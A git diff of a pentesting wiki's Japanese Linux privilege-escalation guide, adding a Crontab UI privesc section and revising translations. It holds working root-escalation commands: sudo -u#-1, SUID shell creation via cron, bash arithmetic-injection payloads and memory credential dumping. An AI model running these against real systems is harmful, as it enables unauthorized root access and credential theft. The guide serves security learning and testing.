diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index c132216ae..ad6d57eed 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,48 +4,48 @@ ## システム情報 -### OS情報 +### OS 情報 -稼働中のOSの情報を収集しましょう。 +稼働中のOSについての情報収集を始めましょう。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### パス -もし**`PATH`変数内の任意のフォルダに対して書き込み権限がある**場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: +もし**`PATH`変数内の任意のフォルダに書き込み権限がある**場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: ```bash echo $PATH ``` -### Env info +### 環境情報 -環境変数に興味深い情報、パスワード、またはAPIキーはありますか? +環境変数に興味深い情報やパスワード、APIキーは含まれていますか? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -kernel version を確認し、escalate privileges に使用できる exploit があるかどうか確認する。 +kernel versionを確認し、exploitがescalate privilegesに使えるか確認する ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良い脆弱な kernel リストと既に **compiled exploits** が見つかるのはここです: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良い脆弱な kernel のリストといくつかの既に **compiled exploits** は次で見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) および [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +他にも **compiled exploits** を入手できるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのウェブサイトからすべての脆弱な kernel バージョンを抽出するには、次のようにします: +その web から脆弱な kernel バージョンをすべて抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -カーネルエクスプロイトを検索するのに役立つツールは次のとおりです: +kernel exploits を検索するのに役立つツールは次のとおりです: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者上で実行、カーネル2.x向けのエクスプロイトのみをチェックします) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(victim上で実行、kernel 2.x 向けの exploit のみをチェック) -常に **カーネルのバージョンをGoogleで検索** してください。あなたのカーネルのバージョンが何らかの kernel exploit に記載されている可能性があり、そうすればその exploit が有効であることを確信できます。 +常に **Google で kernel version を検索してください**。あなたの kernel version が既知の exploit に記載されている場合があり、その場合その exploit が有効であることを確認できます。 ### CVE-2016-5195 (DirtyCow) @@ -57,25 +57,25 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo のバージョン +### Sudo version -以下に表示される脆弱な Sudo のバージョンに基づいて: +以下に表示される脆弱な sudo バージョンに基づいて: ```bash searchsploit sudo ``` -この grep を使用して sudo のバージョンが脆弱かどうかを確認できます。 +この grep を使って sudo のバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -作成者: @sickrov +提供: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg 署名検証に失敗しました +### Dmesg の署名検証に失敗 -**smasher2 box of HTB** を確認して、この vuln がどのように悪用され得るかの **例** を参照してください。 +**smasher2 box of HTB** を確認して、この vuln がどのように悪用され得るかの **例** を参照してください ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 考えられる防御策 +## 考えられる防御策を列挙 ### AppArmor ```bash @@ -131,7 +131,7 @@ docker-security/ ## ドライブ -どこで、なぜ、**何がマウントされていて何がアンマウントされているか**を確認してください。アンマウントされているものがあれば、それをマウントして機密情報がないか確認してみてください。 +何が**マウントされているか/されていないか**、どこにあり、なぜそうなっているのかを確認してください。もし何かがアンマウントされている場合は、それをマウントして個人情報がないか確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 有用なソフトウェア -有用なバイナリを列挙する +有用な binaries を列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**任意のコンパイラがインストールされているかどうか**を確認してください。kernel exploit を使う必要がある場合、実際に使用するマシン(または類似のマシン)でコンパイルすることが推奨されるため、これは有用です。 +また、**any compiler is installed** がインストールされているか確認してください。これは、いくつかの kernel exploit を使用する必要がある場合に役立ちます。実行するマシン(またはそれに類似したマシン)上でコンパイルすることが推奨されているからです。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 脆弱なソフトウェアがインストールされている -インストールされているパッケージやサービスの**バージョン**を確認してください。例えば古い Nagios バージョンが存在し、それが exploited for escalating privileges に悪用される可能性があります…\ -より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 +**インストールされているパッケージやサービスのバージョン**を確認してください。例えば、古いNagiosのバージョンが存在し、権限昇格に悪用される可能性があります…\ +疑わしいソフトウェアについては、インストールされているバージョンを手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -マシンにSSHでアクセスできる場合は、**openVAS** を使ってマシン内にインストールされているバージョンが古く脆弱なソフトウェアをチェックすることもできます。 +マシンにSSHでアクセスできる場合、マシン内にインストールされている古く脆弱なソフトウェアをチェックするために、**openVAS** を使用することもできます。 -> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立ちません。したがって、OpenVAS のようなアプリケーション(または同等のツール)を使用して、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱かどうかを確認することをおすすめします。_ +> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立たないことに注意してください。したがって、インストールされているソフトウェアのバージョンが既知の exploits に対して脆弱かどうかをチェックする OpenVAS のようなアプリケーションを使用することを推奨します_ ## プロセス -実行されている**どのプロセス**を確認し、どのプロセスが**本来必要とするよりも多くの権限を持っているか**をチェックしてください(例:rootで実行されている tomcat など)。 +どの**プロセス**が実行されているかを確認し、どのプロセスが**本来より多くの権限を持っている**かをチェックしてください(例えば tomcat が root によって実行されているかもしれません) ```bash ps aux ps -ef top -n 1 ``` -常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) が動作していないか確認してください。**Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックしてそれらを検出します。\ -また **プロセスのバイナリに対する自分の権限も確認**してください。誰かのバイナリを上書きできるかもしれません。 +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックしてそれらを検出します。\ +また、**プロセスの binaries に対する権限も確認してください**。誰かのバイナリを上書きできるかもしれません。 -### プロセス監視 +### Process monitoring -プロセスを監視するために [**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使えます。これは、脆弱なプロセスが頻繁に実行されている場合や特定の条件が満たされたときにそれらを特定するのに非常に有用です。 +[**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使ってプロセスを監視できます。これは、頻繁に実行される、あるいは特定の条件が満たされたときに脆弱なプロセスを特定するのに非常に有用です。 -### プロセスメモリ +### Process memory -一部のサーバサービスは **メモリ内に平文で認証情報を保存** します。\ -通常、他ユーザーに属するプロセスのメモリを読むには **root権限** が必要なため、これは既に root の場合に追加の認証情報を見つけるのに有用です。\ -ただし、**通常ユーザーは自分が所有するプロセスのメモリを読むことができる** 点は覚えておいてください。 +一部のサービスはサーバーのメモリ内に**認証情報を平文で保存**します。\ +通常、他のユーザーに属するプロセスのメモリを読み取るには **root privileges** が必要になるため、これは一般的に既に root の場合にさらに認証情報を発見するために有用です。\ +しかし、**通常のユーザーとしては自分が所有するプロセスのメモリを読むことができる**ことを忘れないでください。 > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 最近のほとんどのマシンではデフォルトで **ptrace を許可していない** ため、権限のないユーザーが所有する他プロセスをダンプできない点に注意してください。 > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ は ptrace のアクセス性を制御します: > -> - **kernel.yama.ptrace_scope = 0**: 同じ uid であれば全てのプロセスをデバッグできます。これは従来の ptrace の動作です。 -> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみデバッグ可能です。 -> - **kernel.yama.ptrace_scope = 2**: ptrace の使用は管理者のみ可能で、CAP_SYS_PTRACE が必要です。 -> - **kernel.yama.ptrace_scope = 3**: ptrace でプロセスを追跡することはできません。一度設定すると、ptrace を再び有効にするには再起動が必要です。 +> - **kernel.yama.ptrace_scope = 0**: 同じ uid であればすべてのプロセスをデバッグ可能。これは従来の ptrace の動作です。 +> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみデバッグ可能。 +> - **kernel.yama.ptrace_scope = 2**: CAP_SYS_PTRACE が必要となり、管理者のみが ptrace を使用可能。 +> - **kernel.yama.ptrace_scope = 3**: ptrace でトレースできるプロセスはなし。設定後に再起動が必要でないと ptrace を有効にできません。 #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +FTP サービスなどのメモリにアクセスできる場合、Heap を取得してその中の認証情報を検索できるかもしれません。 ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB スクリプト +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,10 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -特定のプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、また各マップ領域の**権限を示します**。 -**mem** 擬似ファイルは**プロセスのメモリ自体を露出させます**。 -**maps** ファイルから、どの**メモリ領域が読み取り可能**であるかとそのオフセットを知ることができます。 -この情報を使って **mem ファイルを seek し、読み取り可能な全ての領域を dump してファイルに保存します**。 +指定したプロセスIDについて、**maps は当該プロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、各マップ領域の**アクセス権(permissions)も表示します**。擬似ファイル **mem** は**プロセス自身のメモリ本体を公開します**。**maps** ファイルから、どの**メモリ領域が読み取り可能(readable)か**とそのオフセットが分かります。この情報を使って、**mem ファイル内をシークし、読み取り可能なすべての領域をダンプして**ファイルに保存します。 ```bash procdump() ( @@ -233,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの **物理** メモリにアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\ -通常、`/dev/mem` は **root** と **kmem** グループによってのみ読み取り可能です。 +`/dev/mem`はシステムの**物理**メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ +通常、`/dev/mem`は**root**およびkmemグループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump は、Windows 向けの Sysinternals スイートにある古典的な ProcDump ツールを Linux 向けに再構想したものです。入手はこちら: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDumpは、Windows用のSysinternalsツールスイートにある定番ProcDumpツールをLinux向けに再構想したものです。入手は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +264,40 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Tools +### ツール -プロセスメモリをダンプするには、次を使用できます: +プロセスのメモリをダンプするには、次を使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でroot要件を削除して、自分が所有するプロセスをダンプできます -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要です) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root 要件を手動で削除して、あなたが所有するプロセスをダンプできます +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要) -### Credentials from Process Memory +### プロセスのメモリからの認証情報 -#### Manual example +#### 手動の例 -authenticator プロセスが実行されているのを見つけたら: +authenticator プロセスが実行されている場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスのメモリをダンプして(前のセクションを参照して、プロセスのメモリをダンプするさまざまな方法を確認してください)メモリ内で資格情報を検索できます: +プロセスをダンプして(プロセスのメモリをダンプするさまざまな方法は前のセクションを参照)メモリ内の認証情報を検索できます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -このツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、メモリから**平文の認証情報を盗み**、いくつかの**既知のファイル**からも取得します。正常に動作させるにはroot権限が必要です。 +ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) はメモリから**平文の資格情報を盗み**、いくつかの**既知のファイル**からも取得します。正常に動作するにはroot権限が必要です。 -| 機能 | プロセス名 | -| ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| 機能 | プロセス名 | +| ------------------------------------------------- | ---------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -316,34 +313,64 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## スケジュール/Cron ジョブ -スケジュールされたジョブに脆弱性がないか確認してください。root によって実行されるスクリプトを利用できるかもしれません(wildcard vuln? root が使用するファイルを変更できるか? symlinks を使う? root が使用するディレクトリに特定のファイルを作成する?)。 +### Crontab UI (alseambusher) running as root – web-based scheduler privesc + +もし web の “Crontab UI” パネル (alseambusher/crontab-ui) が root として動作し、loopback にのみバインドされている場合でも、SSH のローカルポートフォワーディングでアクセスして特権ジョブを作成し権限昇格できます。 + +典型的な手順 +- `ss -ntlp` / `curl -v localhost:8000` を使って、loopback のみのポート(例: 127.0.0.1:8000)と Basic-Auth realm を発見する +- 運用アーティファクトから認証情報を見つける: +- バックアップ/スクリプト(`zip -P ` を使用) +- systemd ユニットが `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` を公開している +- トンネルしてログイン: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- 高権限のジョブを作成して直ちに実行する (drops SUID shell): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- 使用する: +```bash +/tmp/rootshell -p # root shell +``` +ハードニング +- Crontab UI を root で実行しない; 専用ユーザーと最小限の権限で制限する +- localhost にバインドし、さらに firewall/VPN でアクセスを制限する; パスワードを使い回さない +- unit files にシークレットを埋め込まない; secret stores または root のみアクセス可能な EnvironmentFile を使用する +- オンデマンドのジョブ実行に対して audit/logging を有効にする + +スケジュールされたジョブが脆弱かどうか確認する。root によって実行されるスクリプトを利用できるかもしれない(wildcard vuln? root が使用するファイルを変更できるか? use symlinks? root が使用するディレクトリに特定のファイルを作成する?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### CronのPATH +### Cron パス -例えば、_/etc/crontab_ の中には PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ の中に PATH を見つけることができます: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_user が /home/user に書き込み権限を持っている点に注目_) +(_ユーザー "user" が /home/user に書き込み権限を持っていることに注意_) -この crontab の中で root ユーザが PATH を設定せずにコマンドやスクリプトを実行しようとする場合。例えば: _\* \* \* \* root overwrite.sh_\ -すると、次を使って root シェルを取得できます: +この crontab 内で root が PATH を設定せずにコマンドやスクリプトを実行しようとする場合。例えば: _\* \* \* \* root overwrite.sh_\ +すると、次のようにして root シェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### ワイルドカードを含むスクリプトを Cron が実行する場合 (Wildcard Injection) +### Cron がワイルドカードを含むスクリプトを使用している場合 (Wildcard Injection) -スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、予期しない動作(例:privesc)を引き起こすように悪用できます。例: +スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、これを悪用して意図しない動作(例えば privesc)を引き起こすことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**ワイルドカードが次のようなパスの前にある場合** _**/some/path/\***_ **、脆弱ではありません(さらに** _**./\***_ **も同様です)。** +**ワイルドカードが次のようなパスの前にある場合** _**/some/path/\***_ **、脆弱ではありません(_**./\***_ **も脆弱ではありません)。** Read the following page for more wildcard exploitation tricks: @@ -355,9 +382,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +Bash は ((...))、$((...)) および let 内で算術評価を行う前に parameter/variable expansion と command substitution を実行します。もし root の cron/パーサが信頼できないログフィールドを読み取りそれを算術コンテキストに渡すと、攻撃者はコマンド置換 $(...) を注入でき、cron 実行時に root として実行されます。 -- Why it works: Bash では展開は次の順序で行われます:parameter/variable expansion、command substitution、arithmetic expansion、そして word splitting と pathname expansion。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず置換され(コマンドが実行され)、残った数値の `0` が算術演算に使われるためスクリプトはエラーにならずに続行されます。 +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - Typical vulnerable pattern: ```bash @@ -369,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: 攻撃者が制御するテキストを解析対象のログに書き込み、数値っぽく見えるフィールドにコマンド置換を含め末尾を数字にすると悪用できます。算術が有効であり続けるよう、コマンドは stdout に何も出力しない(またはリダイレクトする)ようにしてください。 +- Exploitation: パースされるログに攻撃者制御のテキストを書き込み、数値に見えるフィールドがコマンド置換 $(...) を含み末尾が数字になるようにします。算術式が有効になるように、コマンドが stdout に出力しない(またはリダイレクトする)ことを確認してください。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -378,29 +405,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -If you **can modify a cron script** executed by root, you can get a shell very easily: +root によって実行される **cron script を修正できる** なら、非常に簡単に shell を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root によって実行される script が、あなたがフルアクセスできる **directory** を使用している場合、そのフォルダを削除して、あなたが制御するスクリプトを提供する別のフォルダを指す **symlink folder** を作成するのが有効かもしれません。 +root によって実行されるスクリプトがあなたが完全にアクセスできる **ディレクトリ** を使用している場合、そのフォルダを削除して、あなたが制御するスクリプトを置いた別のフォルダへの **シンボリックリンクフォルダを作成する** ことが有用かもしれません。 ```bash ln -d -s ``` -### 頻繁に実行される cron ジョブ +### 頻繁に実行される cron jobs -プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを探すことができます。それを利用して権限を昇格できるかもしれません。 +1、2、5 分ごとに実行されている processes を探すために監視できます。場合によってはそれを利用して privileges を escalate できるかもしれません。 -例えば、**0.1秒間隔で1分間監視する**、**実行回数の少ない順にソートする**、および最も多く実行されたコマンドを削除するには、次のように実行できます: +例えば、**1 分間 0.1 秒ごとに監視する**、**実行回数の少ないコマンドでソートする**、そして最も多く実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**次も使えます** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(これは起動するすべての process を監視して一覧表示します)。 +**次のツールも使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは開始されるすべてのプロセスを監視して一覧表示します). ### 見えない cron jobs -cronjob を作成する際、**コメントの後に carriage return を入れる**(newline character を入れない)ことで、cron job が動作します。例(carriage return char に注意): +コメントの後に**キャリッジリターンを入れる**(改行文字なし)ことで cronjob を作成でき、cron job は動作します。例(キャリッジリターン文字に注意): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -408,57 +435,57 @@ cronjob を作成する際、**コメントの後に carriage return を入れ ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込みできるか確認してください。書き込みできる場合、サービスが **開始**、**再起動**、または **停止** されたときにあなたの **backdoor** を **実行する** ように **変更できます**(マシンを再起動するまで待つ必要があるかもしれません)。\ -例えば、.service ファイル内に **`ExecStart=/tmp/script.sh`** を指定してあなたの backdoor を作成します。 +任意の `.service` ファイルに書き込みできるか確認してください。可能であれば、**変更**してサービスが**開始**、**再起動**、または**停止**されたときにあなたの**backdoor**を**実行**するようにできます(マシンを再起動するまで待つ必要があるかもしれません)。\ +例えば、`.service` ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** を指定します。 ### 書き込み可能な service バイナリ -サービスによって実行されるバイナリに対する **書き込み権限を持っている場合**、それらを書き換えて backdoor を仕込むことができ、サービスが再実行されたときに backdoor が実行されます。 +サービスによって実行されるバイナリに対して**write permissions over binaries being executed by services**がある場合、それらを backdoor に置き換えることで、サービスが再実行されたときに backdoor が実行されます。 ### systemd PATH - 相対パス -**systemd** が使用する PATH は次で確認できます: +次のコマンドで**systemd**が使用する PATH を確認できます: ```bash systemctl show-environment ``` -パス内のいずれかのフォルダに**write**できると判明した場合、**escalate privileges**できる可能性があります。サービス設定ファイルで**relative paths being used on service configurations**のような記述を検索する必要があります: +パス内の任意のフォルダに**write**できることが分かった場合、**escalate privileges**できる可能性があります。サービス設定ファイルで**relative paths being used on service configurations**のような記述を検索する必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能な systemd PATH フォルダ内に、相対パスのバイナリと同じ名前の **executable** を作成し、サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されたときに、あなたの **backdoor** が実行されます(特権のないユーザーは通常サービスを start/stop できませんが、`sudo -l` を使えるか確認してください)。 +次に、書き込み可能な systemd の PATH フォルダ内に、相対パスのバイナリと同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するよう要求されると、あなたの**バックドアが実行されます**(通常、権限のないユーザーはサービスの開始/停止を実行できませんが、`sudo -l` が使えるか確認してください)。 **サービスについては `man systemd.service` を参照してください。** -## **Timers** +## **タイマー** -**Timers** は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。 **Timers** はカレンダー時間イベントや単調時間イベントをネイティブでサポートし、非同期で実行できるため、cron の代替として利用できます。 +**タイマー**は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。**タイマー**はカレンダー時間イベントや単調時間イベントをネイティブにサポートし、非同期で実行できるため、cron の代替として使用できます。 すべてのタイマーは次のコマンドで列挙できます: ```bash systemctl list-timers --all ``` -### 書き込み可能なタイマー +### 書き込み可能な timers -タイマーを変更できる場合、systemd.unit の既存のユニット(例: `.service` や `.target`)を実行させることができます。 +もし timer を変更できるなら、systemd.unit の既存のユニット(例えば `.service` や `.target`)を実行させることができます。 ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +ドキュメントには Unit が何か次のように書かれています: -> このタイマーが満了したときにアクティブ化される unit。引数は接尾辞が ".timer" ではないユニット名です。指定されていない場合、この値はタイマー・ユニットと同じ名前(接尾辞を除く)を持つ service にデフォルトで設定されます(上参照)。アクティブ化されるユニット名とタイマー・ユニットのユニット名は、接尾辞を除いて同一にすることが推奨されます。 +> このタイマーが満了したときに起動される unit。引数は接尾辞が ".timer" でない unit 名です。指定されない場合、この値はタイマー unit と同じ名前(接尾辞を除く)を持つ service にデフォルトされます。(上記参照。)起動される unit 名とタイマー unit の unit 名は、接尾辞を除いて同一にすることが推奨されます。 -Therefore, to abuse this permission you would need to: +したがって、この権限を悪用するには次のことが必要です: -- Find some systemd unit (like a `.service`) that is **書き込み可能なバイナリを実行している** -- Find some systemd unit that is **相対パスを実行している** and you have **書き込み権限** over the **systemd PATH** (その実行ファイルを偽装するため) +- systemd unit(例: `.service`)のうち、**書き込み可能なバイナリを実行している**ものを見つける +- 相対パスを実行している systemd unit を見つけ、かつ **systemd PATH** に対して**書き込み権限**がある(その実行ファイルを偽装するため) -**タイマーについては `man systemd.timer` を参照してください。** +**`man systemd.timer` でタイマーについて詳しく学べます。** ### **タイマーの有効化** -タイマーを有効にするには root 権限が必要で、次のコマンドを実行します: +タイマーを有効化するには root 